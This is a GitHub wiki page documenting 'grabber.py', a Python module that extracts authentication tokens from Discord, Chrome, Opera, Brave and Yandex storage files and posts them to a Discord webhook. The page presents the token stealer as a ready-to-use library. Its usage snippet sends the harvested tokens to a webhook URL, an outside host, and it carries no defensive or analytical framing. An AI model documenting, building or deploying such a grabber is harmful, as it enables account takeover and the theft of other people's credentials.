Skip to content

grabber.py

LopeKinz edited this page Jul 6, 2023 · 1 revision

grabber.py

This is a module for grabbing tokens from various applications and sending them to a Discord webhook.

Importing

To use this module, you can import it in your Python script as follows:

import grabber

Functions

find_tokens(path)

This function takes a path parameter and returns a list of tokens found in the specified path. It searches for tokens in log files with the extensions .log and .ldb. The tokens are extracted using regular expressions.

Parameters

  • path (str): The path to search for tokens.

Returns

  • tokens (list): A list of tokens found in the specified path.

init_grabber(WEBHOOK_URL)

This function initializes the grabber module. It retrieves tokens from specific application paths and sends them to a Discord webhook specified by the WEBHOOK_URL.

Parameters

  • WEBHOOK_URL (str): The URL of the Discord webhook to send the tokens to.

Usage

WEBHOOK_URL = "https://discord.com/api/webhooks/1234567890/abcdefg"
grabber.init_grabber(WEBHOOK_URL)

The function retrieves tokens from various applications, including Discord, Google Chrome, Opera, Brave, and Yandex. It formats the tokens into a message and sends it to the specified webhook URL. If no tokens are found, it sends a message indicating that no tokens were found.

Note: Before using this function, make sure to set the PING_ME variable according to your requirements.


This documentation provides an overview of the grabber module and its functions. For more details about the implementation and usage, please refer to the code comments and function definitions.

Clone this wiki locally